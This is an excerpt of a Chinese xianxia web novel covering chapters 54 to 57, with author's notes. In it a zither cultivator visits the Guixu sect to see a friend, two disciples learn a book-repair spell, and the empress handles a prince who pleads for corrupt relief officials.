连映:配剑,名字未出场 第54章 关云铮设想了几种苏逢雨抵达归墟的方式:虽然昨日见面她并未佩剑, 但御剑而来也不是不可能;也有可能像柳卿知一样骑马,但她不知道柳卿知从朝安城来镜溪花了几日,也不知道盈川和朝安相比, 哪个离归墟更近, 因此也不敢断定一天之内就能策马从盈川赶来。 总之经过一番设想,此刻她对于待会儿苏逢雨现身时的模样十分好奇。 ——结果没想到苏逢雨除了琴什么也没带。 佩剑没有痕迹, 马也没有痕迹。 总不能都收进乾坤袋里了吧?收剑倒不是不行, 把马也收进去会不会太小众了一点?只看见她一人抱着一张琴,应该说明她既非御剑也非骑马而来。 章存舒依旧有读心术,看穿她脸上那点细微的好奇和纠结,先一步对苏逢雨说道:“昨日不是还在盈川?怎么来得这么快?” 苏逢雨抱着琴向二人走来:“坐灵舟来的。” 差点忘了还有这种相对常规的交通工具,以后找个机会见识一下。 苏逢雨走到章存舒面前,眉眼间不太愉悦的模样:“最近灵舟上的隐匿阵法有些失灵, 干脆来找你修补一番。” 章存舒转身,带着小徒弟和客人回去, 揶揄道:“那你这一路从盈川过来,岂非格外醒目?” 苏逢雨抱着琴, 冷哼一声:“当我没学过阵法?技艺略逊于你而已, 至于招摇过市?” 走在一边的关云铮看似沉默,实则正聚精会神地听着两人的对话,生怕错过她师父和别人斗嘴的细节, 毕竟没见过师父和谁的相处模式是这样的, 还怪有意思的。 章存舒故作恍然大悟:“我还当你是为好友而来,原来竟不是?” 苏逢雨在归墟有章存舒之外的好友? 苏逢雨把琴收回乾坤袋里:“什么好友?不是你传信给我,让我来教你学生琴修技艺?”她皱起眉,“说话总藏一半。” 关云铮在一旁深有同感地点点头,要不是这是她师父并且对她还挺好, 她一堆吐槽的话已经要涌到嘴边了。 章存舒闻言反倒困惑道:“你不知道?既然没同你说,那我也不好擅自告诉你。” 苏逢雨面无表情地把还没收回去的乾坤袋砸章存舒身上了。 哇哦,\打起来/\打起来/。 反正也出不了什么大事,她相信自己师父有分寸。关云铮这样想着,在心里缺德地摇旗呐喊。 章存舒接住苏逢雨的乾坤袋,收起笑容正色道:“隐匿阵法失灵不至于令你如此不快,难道盈川的事不顺利?”他问完又看了眼走在一边的关云铮,眼神带着点询问意味。 关云铮也不知道苏逢雨是因为什么事不高兴,盈川的事都交给天问处置了,怎么也说不上不顺利,因此她对上章存舒的视线时,也只能摊开手摇摇头。 苏逢雨懒得解释,拿回章存舒手里的乾坤袋,重新提起先前的话题:“你说我是为了好友而来?” 三人说话间已经回到归墟,章存舒看向苏逢雨:“你不知道?蒲飞鸢也在这。” **** 关云铮和章存舒一前一后地回到餐桌边,楚悯看向关云铮,不解问道:“客人没一起来吗?” 连映也看向章存舒:“客人不来吃饭,是已经去休息了?” 两人离开有一会儿了,好在青镜山上不冷,饭菜不算凉得特别彻底,章存舒夹了一筷子放进碗里才说:“她有事要处理。” 关云铮也有点没反应过来地在桌边坐下,对上楚悯关切的视线后回过神,悄悄凑到她耳边:“昨晚师父不是说了过些日子会来一位江湖散修,负责你的琴修学习吗?” 楚悯明白了:“来客就是那位琴修?” 关云铮点点头,想了想又小声说道:“她和蒲先生似乎是好友。” 楚悯疑惑:“为何说似乎?” 关云铮回忆了一下方才苏逢雨的脸色变换,如实答道:“因为她方才看起来更像是和蒲先生有仇,但师父说她俩是好友。” 两个人对视一会儿,都在对方的眼里看到了对苏逢雨态度的困惑,以及对章存舒言论的怀疑。 所以说谜语人当久了就会被人当成骗子。就连谁是卧底这种偏轻松向的游戏里,都会在开局刀掉几个说话似是而非的倒霉鬼。 或许是苏逢雨有很多好友,所以乍听“好友”这个说辞,没想到蒲飞鸢身上;也或许是她以为蒲飞鸢不在此地,那就有可能是蒲飞鸢没有告诉她自己的去向;当然了,以章存舒平日说话动辄说一半藏一半的坏习惯来看,还很有可能是因为苏逢雨与他认识久了,不大相信他说的话。 三个理由关云铮自忖都非常有道理,但这些理由,好像都没法解释苏逢雨刚才那又是惊讶又是生气的神情吧? 说真的,虽然她一直喜欢吐槽里的扇形图神情描写,但方才苏逢雨的神色不用上扇形图居然都没法精准形容。 她听了章存舒的话先是惊讶和怔愣,接着转换成了非常短暂的愉悦,眼睛都亮起来几分似的,随后情绪直转而下,变成了比他们迎接她那时的脸色更明显的不虞。 关云铮默默吃菜,觉得蒲飞鸢很有可能要被谴责了。 苏逢雨的神色不似作伪也没有必要作伪,惊讶大概是因为蒲飞鸢真的没同她说过,愉悦自然是因为在他乡能遇见好友,只是她的惊讶和愉悦都非常短暂,因为她很快就反应过来,章存舒会认为她此行是为了蒲飞鸢,而蒲飞鸢却不曾告知自己她身在此处。 大概有种和朋友之间的事从别人口中得知的不爽感。 希望蒲先生能够招架苏逢雨的怒火,毕竟后者像是气极时会用古琴砸人的主。 **** 严骛记录完需要补全的卷册页码,又抢着要替褚鹤贤分忧,在手边的纸上写下几个字,并背出几句某卷书册的内容,表示自己无论是字迹还是记性,都能胜任这补全的活。 发脾气对于褚鹤贤这个年纪的人来说是件挺消磨精力的事,人年纪大了,性子就会不由自主地变得宽厚。他早年脾气其实不怎么样,经常能听到教授的学生私下里抱怨,说他太过严苛,平日里完全不见笑影。 随着年纪增长,他对完成某件事的标准依旧严格,对人的评价也依旧不留情面,但标准逐渐变得只是个标准,他对那些不符合标准的人懒得多费口舌。 多说无益,标准留着律己就够了。人生苦短,他得把精力留给别的事。 也正因此,哪怕他始终厌恶仙盟的多数行径,也不怎么喜欢严骛这个人,但还是没说什么,把准备拿来补全书册的纸分给他一半:“待会儿太阳落山,你去帮我把练武场上晒的书收回来,估计闻越那小子会忘记收,收回来后你就不用留在这抄书了。” 不知道严骛是不是听过他以前严苛的名声,听他平心静气地对自己说话,看着像是十分受宠若惊似的,忙不迭地答应:“好,多谢先生。” 褚鹤贤无言片刻,还是说道:“你不必来我这卖乖,仙盟人在仙门向来是得不到什么好脸色的。” 严骛脸上那点欣喜迅速地黯淡了下去,他轻声答道:“我知道,先生。” 褚鹤贤看他这样简直想叹气,这委屈的模样仿佛自己打骂他了一般,这像话吗? “仙盟今年怎会突然有了观摩教习的打算?头两年办的时候也没见你们吱声。”褚鹤贤在另一张书桌边坐下,拿了墨锭研墨。 严骛回答不了这个问题,他还没坐上第一把手的位置,仙盟的打算可不是他能置喙的。 褚鹤贤也没打算从他那听到回答,研完墨就专心开始默写了。 大家都觉得仙盟此番的决定突然,但归墟竟然一个弟子都不在,甚至弟子在此处的生活痕迹都不大看得出来,想必是早就得到消息,提前做了打算。 能提早这么多日子就得到消息……难道说是皇帝透露的? 他知道章存舒在各处仙门都有人脉,但当朝皇帝从小就不长在朝安城,回到朝安时章存舒已经随师门四处游历了,按说……两人不该认识啊。 有哪处遗漏了,仙盟未曾记录在册?就像章存舒师兄的名字一样。 ——被仙盟“惦记”的章存舒正在跟苏逢雨解释:“这几天不用给学生上课,她不在山上也实属正常。” 苏逢雨一掀眼皮:“你说这话是以什么立场?” 坐在秋千上的关云铮和楚悯齐齐打了个寒颤。 关云铮凑在楚悯耳边用气声说道:“我说吧……她看起来简直像和蒲先生有仇,不对,跟师父好像更是血海深仇……” 楚悯心有戚戚焉:“蒲先生去何处了?什么时候能回来?” 关云铮也很绝望:“都不上课,我估计她最早也得明日回归墟吧。” 谁料话音刚落,连廊上就传来蒲飞鸢说话的声音:“不是还有一日吗?我还在山下吃云吞呢,突然传信给我是做什……” 她话还没说完,人已经走到了能看见院中几人的位置,一眼看见了章存舒对面坐着的人,剩下半字被她生生咽了:“小雨?你怎么在这?” 关云铮和楚悯不约而同看向苏逢雨,只见几息前冷着脸,说话时语气里的不悦都能凝成冰碴子的人,在听见蒲飞鸢的声音后立刻起身,快走几步到连廊前,用关云铮认识她这不到一天来从没听过的,堪称甜美的声音说道:“飞鸢姐姐!” **** 今日晚饭吃得早,吃完时日薄西山,尚未完全落下。 闻越相当熟练地和江却一起刷洗干净碗筷,擦过桌子,撂下一句“我去给褚老收书”就飞奔出去了。 连映站在江却身后接过盘子和碗筷:“褚老这个时间,应该已经把书收回去了吧?” 江却没抬头:“他不去当心挨批。” 连映笑起来:“那倒是,褚老现今脾气好多了,但依旧逮着他批评。” 江却擦干双手:“褚老对事要求要比师门严苛一些,多让小越在褚老身边待一待也好。” 连映奇道:“你现在说话比师父还像师父。” 江却一愣,摇摇头笑道:“师父喜欢逗人玩,好像尤其喜欢逗云崽。” 连映笑着拿手指他:“你看你看,我说什么来着,你也开始叫云崽了吧?” 江却这才意识到刚才说的什么,失笑:“没办法,你们都叫她云崽,我一人叫她云铮,反倒让她觉得我太过严肃难以沟通,你看她方才,寻常话题都不敢来问我。” 连映叹了口气:“行行好吧你,那对我们来说已经过去了,是寻常话题,但云崽心思敏感着呢,哪怕是我说不介意,估计短时间内也不会再提起了。” 两人并肩往外走,江却想了想还是问道:“我觉得云崽在她这个年纪,心思重了些,”说完他自觉不妥,“倒不是说她城府深沉……” 连映接上他的话茬:“我知道,我觉着是她先前家中对她不太好,这么小的年纪心思敏感,多半是在家中看眼色看多了。” 江却沉默了一会儿,又说:“小悯也有一些,还是天问就是这样的?” 连映不想在聊这种话题笑出声来,但实在是被江却的话逗笑了:“我怎么会知道,我也只见过小悯一个天问呀。” 江却也笑:“说的也是。” “不过可能,仙门之外,十四五岁的女孩子都有些与云崽类似的苦处吧,放到外面看,云崽可能也只是寻常姑娘。”连映感慨道。 毕竟他们是在仙门长大的,师父还是个乐善好施的纨绔公子,很小的时候开始就不用操心那些凡俗的琐碎,连映不用在十四五岁的年纪操心自己的婚姻嫁娶身不由己,江却不用担心家世不好,在娶亲的时候自惭什么门不当户不对。 每年都有许多的人踏破各地仙门的门槛,只为了谋求一个在仙山上的位置,想要出人头地之外,也有逃避凡俗的原因在吧。 哪怕仙门式微已成定局,也会有许多人试图扶大厦于将倾,因为仙门之于他们,是登天的长阶,是避世的桃源—— 作者有话说:点一下卷名() 谢谢投雷的小可爱们[撒花] 第55章 闻越还没跑到练武场, 隔了些距离就看见严骛正把地上的书册收起来,不知是给褚老默书到现在所以双臂酸软无力,还是单纯四体不勤, 居然没能把所有的书册一口气抱起来。 闻越叹了口气, 快走几步过去:“我来吧。” 严骛没听见他的脚步声,视线又被怀里的书堆挡住了, 骤然听见他的声音, 吓了一跳,怀里的书顿时晃得更厉害了。 闻越伸手托了一把,虽然不喜欢仙盟人,但人家现在毕竟是在给归墟的教书先生做事,因此尽量和颜悦色道:“严前辈,我看您也累了, 不如我给褚老送去吧?” 严骛入仙盟比闻越入门还要早一些,自然没见过他, 因此颇有些疑惑地问:“你是今年的教习弟子?” 闻越抱着从严骛手里接过来的书卷:“那倒不是。” 不过说起来,今日过去这些弟子下山就该有两日了, 怎么除了云崽和小悯之外, 还没有人回来? 闻越不着痕迹地看了眼走在一边的严骛,心说这些弟子不回来也好,免得见到严骛横生枝节。虽然那法器现今不在他身上, 不用担心测灵根和天赋这种相当窥探的事发生在弟子们身上, 但保不齐这人见着弟子要问东问西,那也够恼人的了。 学堂已经亮了灯,褚鹤贤还在书案前默书,听见两人的脚步声没抬头:“今日这么早就吃完饭了?” 闻越抱着书卷走到褚鹤贤旁边一张书案,把书堆放下:“这不是生怕您的宝贝们在外面沾上露水, 紧赶慢赶地来了。” 褚鹤贤懒得点评他的花言巧语,看了眼走在闻越身后的严骛:“今日多谢你了,现在这小子来了,你累了就回去歇着吧。” 严骛看上去很想逞强一句自己不累,闻越靠在书案上:“严前辈可别小看默书,今日只是双臂酸软,要是您接着默下去,明日手腕可就要抬不起来了。” 褚鹤贤朝着严骛摆摆手:“回去吧。” 严骛只好对着褚鹤贤行了个礼:“那学生就先告退了,先生也务必早些休息。” 闻越看着严骛走出学堂后才转过身在书案边坐下,对褚鹤贤说道:“他真在这默了一下午的书?” 褚鹤贤放下笔,把手腕搭在桌边休息:“像是没听人对他说过好话。”他这样的烂脾气只是稍微收敛了些,严骛的神情活像是见了慈眉善目的弥勒似的。 闻越神色莫辨:“进入仙盟后怕是真没怎么听过吧。” 书案上放着严骛默好的几页纸,因为墨还没干,都不挨着,摊开成一排。 “字挺好看的。”闻越平心而论,比他刚开始默书时像样多了。 最初他入师门学习,一段日子后被气急的章存舒丢到褚老身边,那时候正是秋天,褚老惯例晒书,看闻越闲不住,又得了章存舒“替我管教一番这小子”的请求,就想出让闻越来补全那些书册被咬坏后缺失的页码。 那时他尚未不精术法,压根没想到笔墨这种痕迹是可以用术法附着在纸页上的,老老实实地研墨誊写了。 那厢褚老在练武场慢悠悠地晒书,本以为闻越会在学堂里琢磨术法,结果晒完书一回来,就见被章存舒评价为“调皮捣蛋”的徒弟,正坐在书案前一笔一划地写着字,听见他的脚步声还抬起头来问:“褚先生,有些卷册我尚未读过,推断不出缺失部分的内容。” 褚鹤贤凑过来一看,发现这小子的字迹还挺板正,于是也没说什么,拿过书册在页码缺失的部分旁边补上几个字又递给他:“照着抄吧,累了就歇着。” 闻越乖乖应了一声,虽没明白才刚开始如何就会累,但还是继续低头誊写了。 他抄书抄了一下午,第二天晨起时手腕酸得险些拿不动筷子,才被惊讶的章存舒告知:以往褚先生都是用术法来补全的。 那会儿他的第一反应甚至是:“啊?那褚先生不会觉得我字难看吧?” 他的便宜师父听了这话哈哈大笑:“先生要是看不上你的字,还会让你抄这些书吗?” 总之一入师门深似海,章存舒经此一事倒是确认了这徒弟也就是皮了点,其他方面没什么问题,因此也就不再因为他时不时的捣蛋行为生气了。 闻越正准备抄书,学堂门口又是一阵低语声,听起来像是他那闲不住的小师妹。 他拿着笔转过身,看见学堂门口探进来两个脑袋。 “你们不是在陪客人说话吗?” 看见闻越回头,两人才一前一后走进来,一起给褚鹤贤行了个礼:“褚先生。” 褚鹤贤点点头,对待自家人他还是相当和颜悦色的,更别说关云铮十分合他眼缘,楚悯懂事乖巧,两人对待课业都很上心,没有对她们急言令色的理由。 两人来之前就从师姐那里得知闻越在帮褚先生抄书,因此各自到闻越的书案上拿了卷册和纸笔,准备帮着誊写。 闻越却伸手阻拦了两人的动作:“我写就行了,你俩要实在想帮忙,就用术法修复吧。” 关云铮和楚悯齐齐回头看向褚鹤贤,发现褚先生也没异议,于是虚心求学道:“什么术法?” 褚鹤贤正要给她们演示,步雁山的声音从几人身后传来:“我来教吧,褚老。” **** 步雁山来得相当及时,虽说褚鹤贤也能熟练运用修复术法,但术业有专攻,自然是教授术法这门课的人来传授知识更为合适,因此褚鹤贤也没多说,对步雁山点了点头:“那我就不多说了。” 步雁山对褚鹤贤行了个礼,在楚悯和关云铮坐的书案后面坐下,示意二人转过来看他。 术法课从御物术开始教习是有理由的,因为多数术法本质上就是在御物术的基础上进行一定的改动与升级,变化的不过是口诀与手势,因此一旦在御物术上建立了牢固的基础,理解其他的术法就变得轻松许多。 两人很快摸索到了修复术法的门道,开始尝试着给面前的书页修复咬坏的部分。 空白的纸页翻飞着,砚台里的墨水被术法操控着往纸页上飞,墨色的字迹逐渐显出痕迹来。 褚鹤贤乐得清闲,坐在书案边问道:“上次布置的文章写完了吗?” 关云铮差点忘了还有篇文章没交:“写完了,何时上交给先生?” 褚鹤贤摆摆手:“倒是不急,我估计其他弟子回来后,会有更多人成功引气入体,等他们写完了一同上交吧。” 楚悯困惑:“为何?” 褚鹤贤看了眼正在默书的闻越:“寻常人会去哪里寻觅武器?” 关云铮手上的动作一顿,一时半刻之间还真被这个问题问住了,毕竟当时得知此事她的第一反应是传送到一个跟魂魄有关的地方去调查真相,压根没想过要找武器:摇羽她都没使利索呢,多找几把剑来都是白搭,徒添负担。 楚悯的思维就比她“正常”多了:“大概武器铺子?或是自己师门中存放武器的地方?” 褚鹤贤颔首:“正是如此。若是去了武器铺子,打造出趁手又称心的武器,少不得审视内心,揣摩自己到底想要什么样的武器,多数修道者的第一把武器都会伴随他们度过最茫然的阶段,因而也最能体现出他们日后的道心。” “道心……能辅助引气入体?” 步雁山点头:“可以,毕竟凝练道心也是修道的一部分,道心破碎,修道者便前功尽弃。” 关云铮若有所思:“那……都得有道心吗?” 褚鹤贤笑了:“怎么,你还想没有道心就能修到金丹期?” “这么多年不曾有过一个没有道心的金丹吗?”关云铮简直想仰天长叹,这也太不特别了! 虽然她并不觉得自己能是那个万里挑一的修道奇才,但这么多年的修仙史里面居然都没法出一个这样的奇才吗? 那真是注定走向衰落的命啊。 “仙门鼎盛的时候或许有。”一直没说话的闻越冷不丁来了一句。 他默完了一页纸,暂时搁下笔休息:“那时候不拘派别,也没有一以贯之的修成方法,大家各凭本事,有没有道心、修到什么境界都没个定数。”他想了想又说,“再者那时留下来的记录也少,不像现在,稍微有点名气的修士所使用武器、生平经历几乎都为他人所知。” 道心这种东西,说白了就是一条道上走的人太多,为了便于约束管理才出现的称谓。无情道前些年还被称作器道,不就是因为上位者道心出了问题,差点把这个派系都给作没了。 关云铮和楚悯运用术法渐趋熟练,逐渐能一边修补书页一边参与话题的讨论。 楚悯一心二用,问道:“道心大约会在何时稳定形成?” 步雁山也加入修补书页的行列:“这得看你是否清楚自己想要什么。就像有的孩子早慧,有的晚熟,没有定数。但一般来说都会在金丹期左右,最晚不迟于金丹中期。” 关云铮听到这嘀咕了一句:“不知道的还以为金丹里面的馅儿是道心做的呢。” 步雁山和闻越都被她逗笑了,闻越直白道:“你当金丹是包子还是云吞?还有馅儿?” 关云铮不太明显地“哼”了一声,表示自己对于道心这个话题相当不以为意。 外头天色彻底黑沉下来,步雁山先注意到,扭头看向另一边的褚鹤贤:“褚老,天色已晚,不如您先回去休息吧?我在这陪着他们修补卷册。” 褚鹤贤确实有些乏了,人年纪大了虽然觉少,但总是疲惫得很早,因此他也没推辞,应了一声就起身往学堂外走了。 闻越继续低头默书。 其实如今的他大可以像楚悯和关云铮那样用术法来修补书页,但自打最初抄写了一下午卷册后,他就习惯了这种感觉。 抄写时不必思考,不必顾虑,只需要照葫芦画瓢,有利于清空一切繁杂的思绪。 至于劳累手腕这一点,今日有云崽和小悯帮忙,掌门也参与进来,估计明日起来手腕不会太过酸软,筷子还拿得动。 关云铮这时候才回答了闻越方才的问题:“我们本来确实在陪同客人。” 闻越从前桌又转过来,拿着笔一脸疑惑:“然后?之后发生何事了,又不继续作陪了?” 关云铮一时之间不知道怎么形容,语塞了好一会儿。 还是坐在她身边的楚悯组织好了语音,简要叙述道:“那位琴修与蒲先生似乎关系非凡,说起话来他人都插不上话,于是章先生和我们都先行离开了。” 关云铮长这么大,活了两辈子——虽然都才十几二十年,从没哪次觉得自己这么耀眼过。 活像个两百瓦的大灯泡。 苏逢雨见到蒲飞鸢之后,像是被人清空了不愉快的记忆一样,立时就拉着蒲飞鸢的袖子不放,声音低低切切的,脸上的神情看着也十分的我见犹怜。 关云铮看得简直目瞪口呆,没见过这种级别的变脸大师,她和小悯还是先溜为敬。 章存舒却表现出对这个场景接受良好的样子,或许是因为并非初次见识了,但见徒弟带着朋友开溜,没过多久也找了个由头溜走了,如今大概在和师兄师姐聊天。 章存舒去找师兄师姐时两个姑娘正打算从那边离开,遇见师父,心怀戚戚的关云铮故作老成地拍了拍他的肩膀:“夹在两个关系如此之好的好友之间,你这个朋友想必也很难做人吧。” Hi, Steve. 章存舒又是无言又是好笑,好半晌才说:“你也看出来了,我根本没有夹在其中努力做人的机会。” 关云铮继续没大没小:“虽然机会难得,但不能不做人啊!” 说完她就拉着楚悯飞快地跑了。 也不知道谁给她的胆子,可能是经常惹师父不高兴的三师兄吧,嘻—— 作者有话说:努力肝榜单3/4 第56章 沈时安有些犯困, 连续眨了几次眼睛想要让自己清醒些,谁料反而更困了,索性从椅子上站起身醒神。只是还没等她驱逐干净那点困意, 就听见屏风后衣料摩擦的声音响起, 赶紧打起精神站好。 几息之后,苍韫桢就从屏风后走了出来, 看见她站着还困惑道:“沈卿怎么站着?”她一边理着袖子一边看向沈时安身后, “不是有椅子?” 沈时安想了好几种措辞,最后还是如实回答:“坐着总打盹,站着倒清醒些。” 苍韫桢走到桌案边坐下,开始批复早晨那叠看了闹心丢到一边的折子,闻言没抬头,笑道:“想打盹便睡一会儿, 朕不在,还能不允吗?” 沈时安看她坐下了才敢坐下, 坐在下首的桌案边怪惶恐的:“那岂非玩忽职守……” 苍韫桢从折子上抬起视线,被她逗笑了:“怎么就玩忽职守了?若是因为睡不好无精打采, 把本应处理好的公务办砸了, 那才是玩忽职守。”她在折子上划了道,又附上几字作为批复,“朕不是让膳房给你准备了午膳?没趁着用膳休息片刻?” 沈时安更惶恐了, 同时还有些羞愧, 低着头轻声说:“陛下吩咐膳房准备的午膳太丰盛了,臣一时吃多了些,吃完便困得厉害……” “噗。”苍韫桢连折子都批不下去了,一时之间只想笑,笑了好一会儿才说, “喜欢哪几道菜?我让她们记下来。” 沈时安“噌”一下从椅子上站起来:“陛下,这怕是有失体统,膳房是专为您而设的,怎能专门记录臣的喜好……” 苍韫桢摆摆手打断她:“吃得好办公时心情才能好,替朕做事时才会有干劲,这可是变着法儿地奴役你,你怎么还惶恐起来了?” 沈时安一时无言,张口结舌好半晌,才“胆大包天”地问道:“臣有一事不明,一直想问陛下。” 苍韫桢“嗯”了声:“说。” “臣科举时成绩平平,封官这一年来也未有实绩,为何陛下会将臣……”提拔到御书房司记这个天子近臣的位置呢? 手边的折子上都是些狂妄之词,面前这位却如此谨慎自谦,苍韫桢轻叹一声,抬眼看她:“成绩平平?沈卿这话可实在太谦虚了,朕记得你也只是未中三元,似乎是第五?”她搁下笔,“至于实绩,无权哪来实绩?” 沈时安先是被她夸了一句,随即又被她直白的第二句震到,沉默了一会儿才说:“那陛下希望我为您做什么呢?” 苍韫桢重新拿起笔:“你不需要为朕做什么。” 沈时安抿了抿嘴:“臣明白了。” 批好的折子被放到桌案一侧,沈时安正要上前拿走,听见苍韫桢问道:“朕出去这段时间可有人来访?” 沈时安如实回答:“有,恭亲王来了。” 苍韫桢没抬头:“方才为何不说?” 沈时安更老实了:“恭亲王大抵又是为赈灾一事说情而来,臣以为陛下应当不想见他,想着等您先批完折子再说。” 此举僭越,但沈时安是个十分理想化的读书人,不能去往南方赈灾已是憾事,身为亲王居然要为那些贪污粮款的人求情,她理智上知道亲王来了需要即刻禀报,感情上完全懒得搭理,权当正忙着不知道。 苍韫桢这次抬头看了她一眼:“朕确实不想见他。”她放下笔向后靠在软垫上,“恭亲王来多久了?” “快一个时辰了。”沈时安答。 苍韫桢笑起来:“沈卿嘴上谦虚谨慎,实际胆子倒是挺大。若是朕再晚些回来,你打算怎么应对?” 沈时安说得有理有据:“恭亲王已经不是第一次来了,他已熟知您对此事的态度却仍要来,还总是在朝臣都不会来找您的时间来,想必自己也清楚此事缺德亏心,也知道给自己留点脸面,因此大概是不会开罪于臣的。” 王孙贵胄嘛,烂芯儿都是偷偷烂的,表面光鲜一般都会勉力维持,不至于做辱骂她这个小官这种掉价之事。 苍韫桢点头:“不错,就这么干。”她赞许后起身,“走吧,随朕去见见,朕那位号称心怀天下的三皇叔。” **** 闻越没见到苏逢雨,自然也不知道她和蒲飞鸢是何种相处模式,但要让章存舒都插不进话有些难度,倒不是说他师父就是多健谈的人,但师父认识的人这么多,基本都能说上几句话,他还是第一次听说明明他师父跟这两人都熟识,她们聊起来他师父反而插不进话的。 奇了。 关云铮和楚悯掌握了修补术法之后,除了时不时说几句话,其余时候都在聚精会神地修补,因此当闻越休息结束,走神也结束,回过头来准备继续安心默书时,发现桌案上已经没有卷册了。 闻越猛回头看两个师妹:“你们这么快就都修补完了?” 关云铮随手把修补完的几本塞给他,头也没抬:“尚未,但是怕你明早抬不起手,所以偷偷把卷册都拿过来了。” 楚悯深以为然地点点头,不做声地继续修补着。 两人的架势简直还能修补几百本卷册,因此步雁山也只好闲着了,在一边问道:“今日柳相离开了?” 闻越只好专心回答掌门问话:“午后走的。” 步雁山若有所思:“是不是还有其他人来过?” 闻越趁褚鹤贤不在,往后坐在书案上,晃着双腿:“那位也来了。”他忍不住好奇,“她从哪里习得的缩地成寸?掌门知晓吗?” 缩地成寸可不是随便什么修道者都会的,至少得金丹后期才能稳定运用此术法,不然会传到什么地方都是未知数,女帝不仅会用,看她模样甚至用得炉火纯青,想必早就学会了,可她是从哪里学会的? 步雁山笑了笑:“这话怎么不问师兄?” 闻越理直气壮:“自然是逮着谁问谁了,这会儿想起来您又正好在,自然问您。” 关云铮用空着的手给闻越比了个大拇指。 闻越没见过这个手势,但猜想是夸奖的意思,于是满意地点点头收下了。 步雁山笑答:“但此事我确实算不上熟知,只知道她曾有一段时间是与我们一同修习的。” 我们? 关云铮抬头:“您和师父?还有凌师伯?” 步雁山点头,回忆着说:“但那段时日怕是也学不成缩地成寸,又或者是那位对我们有所隐瞒。” 楚悯也抬头:“为何要隐瞒?” 步雁山叹了口气:“事关皇位更迭,不得不隐瞒。” 关云铮一愣,下意识说道:“这是可以说的吗?” 刚凝重起来的氛围骤然被她一句话打破,步雁山又重新笑起来:“现如今自然没什么说不得。” 那倒也是,毕竟女帝都已经坐上皇位了,而且看她样子似乎并不介意这些,嗯……流言蜚语? 关云铮又修补好一卷,想想不对劲,重又抬起头:“既然没什么说不得的,掌门为何提起她时总有些遮掩似的?” 哦不对,她后知后觉地看向十分悠闲的闻越:“师兄,你为何用‘那位’形容她?” 闻越露出一个意味深长的表情:“柳相积威罢了。” 楚悯和关云铮一起:“噗。” “笑什么呢?”章存舒不知道什么时候从学堂门口进来了。 闻越坐在桌案上朝他摆摆手:“师父,我听云崽说你插不进那两位先生的谈话,竟有此事?” 章存舒随手捡起一张纸团成球砸他怀里了:“你不默书了?” 闻越朝两位师妹抬了抬下巴:“多亏了掌门教会她俩修补术法,我如今可无用武之地了。” “那正好,李厨方才说有事想拜托你,你又有用武之地了。”章存舒答道。 闻越疑惑:“李厨有事拜托我?让我日后少吃点?” 关云铮和楚悯忍笑忍到双肩颤抖。 闻越说完这话也想笑,好险忍住了:“我等两位师妹修补完便回去找他。” 章存舒“嗯”了声,走到步雁山旁边:“今日做什么去了,之前都没看到你人影。” 步雁山谈起这个就想叹一口疲惫的气:“嵩华练剑,把练剑台劈了。” 关云铮大受震撼,茫然抬头:“练剑台是用什么做的?” 楚悯也有些恍惚了:“若归墟也遵循规制的话,应当是试心玉做的?” 关云铮愣愣接话:“试心玉?有多牢固?” 闻越也一脸被震撼的表情:“总之,这东西没有个百十年的劈砍,是不会出现裂痕的。” 章存舒挑眉:“所以嵩华把试心玉劈裂了?” 步雁山抬手掐住眉心:“是,虽然裂痕不深,但相当明显,确实裂了。” ……牛。 一时之间不知道用什么形容词才能表达她此刻心中的震撼。关云铮手中的术法一时都忘了运行,流淌的墨在纸页上乱作一团。 身旁的楚悯轻咳一声,唤回她走失的神智,关云铮听见楚悯说:“试心玉该如何修补?” 关云铮下意识看向灵气流转的手心,步雁山看穿她在想什么,笑着摇摇头:“试心玉是修补不了的。” 闻越不晃腿了:“那该如何?” 步雁山摊开手:“我费了半天时间把裂痕部分往外移了移。” 虽说修补不好,但总不能让任嵩华继续加深裂痕,只好让她继续劈别的完好的部分了。虽然此举显得亡羊补牢,但好歹补上了不会丢更多的羊了。 虽然更大程度上是扬汤止沸。 关云铮看向章存舒:“师父,以前有人能劈开试心玉吗?” 章存舒笑着叹了口气:“没有,但凡这东西那么容易劈裂开,也不会落得每个仙门只有一块的境地了。” 楚悯之前在天问,多数人不擅体修,剑修更是少之又少,对试心玉的了解很不足,听闻此言忍不住问道:“那若是不巧,当真无法挽救了,该如何?” 章存舒这回是真的在笑了:“这简单,去仙盟那儿讨一块就得了,他们那试心玉多的是。” 莫名有种仙盟是砧板批发商的错觉……试心玉拿来作为练剑台使用,每天不是被刀砍就是被剑劈,怎么不算是一种砧板呢? 至于仙盟,只给其他仙门每处一块试心玉,自己却囤积着许多,又怎么不能算是一种批发商呢?或者准确点说,是试心玉物流服务总部,一次只发一块,不接受无理由退货,不保修,坏了只能另外提出要求,提出要求后份额也依旧是一块。 哇……难怪仙盟人人喊打。 天下人苦行业垄断久矣! 关云铮顷刻间发散完思维,又瞬间收回思绪,继续做手头的修补工作。 章存舒此刻俯身对楚悯道:“明日苏修士便会开始教导你琴修相关,她的住所与蒲先生在一起,明早带你俩去认认门。” 关云铮伸出食指指向自己:“我?” 章存舒点头:“蒲先生说反正闲着没事,看看你剑术生疏了没。” 关云铮:……其实也可以不看的。 楚悯若有所思:“为何不称呼苏琴修为先生?” 章存舒似乎是没料到她会这么问,眉尾挑了挑,随后又卖了个关子:“这问题不如你们明日问她?想必她会有比我更精彩的答案。” 关云铮哪壶不开提哪壶:“师父,你先前不是插不进话吗?怎么传了这么多话?” 不像是插不进话的样子呢。 章存舒没好气:“那两人生怕我不走,吩咐了这些话让我赶紧来知会你们。” “主要是苏琴修吧?蒲先生应该还没看您不顺眼到如此境地。”关云铮理不直气也壮地追问。 章存舒伸手捏了一下她的脸:“你今天揶揄我没完了是吧?跟你三师兄学坏了。” 闻越人在桌上坐,锅从天上来,闻言惊得从桌案上跳下来,就差演一出六月飞雪了:“虽说我确实算不得什么好榜样,但怎么就是我带坏的了?” 关云铮煞有介事地点点头:“确实,不关三师兄的事。” 闻越刚要故作欣慰地看向她,就听关云铮又说:“我是无师自通的,嘿。”—— 作者有话说:榜单完成![撒花] 第57章 南下查访官员私吞粮款一事, 任谁来了都知道需要私下进行,毕竟只要那些贪官们得到一丝一毫的风声,抵达时见到的就得是盛世太平阖家幸福的“美好景象”, 至于饿死病死的流民, 说话的力气都快没了,又怎么可能会被选作这场戏的表演者。 但私下行事容易被反咬一口:安的什么心?预先给人定的什么罪名, 犯得着这样试探? 纵然私访查出些什么, 由于没有什么可以对簿公堂的证人,对方想要赖账不认也是有可能的。 